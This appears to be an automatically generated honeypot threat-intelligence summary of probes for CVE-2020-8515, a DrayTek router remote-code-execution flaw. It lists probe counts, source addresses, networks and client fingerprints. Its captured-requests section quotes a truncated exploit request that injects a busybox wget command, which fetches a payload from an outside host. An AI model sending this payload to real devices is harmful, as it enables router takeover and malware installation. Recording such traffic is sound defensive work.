CVE-2020-8515: DrayTek - Remote Code Execution

HoneyLabs honeypots recorded 7 probes matching CVE-2020-8515 from 2 distinct source IP addresses in the last 7 days, of which 6 on interactive sensors. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2021-11-03.

One source probed for CVE-2020-8515 on the interactive sensors. It did not send the exploit payload.

What the sensors show

Probes arrived on 4 of the 7 days in this window. The busiest day was 2026-11-09, with 3. One address, 195.178.110.78, sent 86% of them. The largest source network was AS48090 (Techoff Srv Limited), with 86% of the probes from 1 address. It is still being probed 5 years after CISA added it to the Known Exploited Vulnerabilities list. Over the last 90 days the sensors recorded 98 probes for it. Every probing client that negotiated TLS presented one JA4 fingerprint, t13i251000_b78ed14e2fd0_ab7e3b40a677.

Request paths that identify it

• /cgi-bin/mainfunction.cgi

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2

Requests the interactive sensors answered

• GET /cgi-bin/mainfunction.cgi?action=login&keyPath=%27;(/bin/busybox${IFS}wget${IFS}-qO-${IFS}-T${IFS}4${IFS}[http]://77[.]239[.]124[.]167:8099/b/e/$(uname${IFS}-n)||wget${IFS}-qO-${IFS}-T${IFS}4${IFS…

HTTP client fingerprints

• b11cuq050_00050812_107c8b82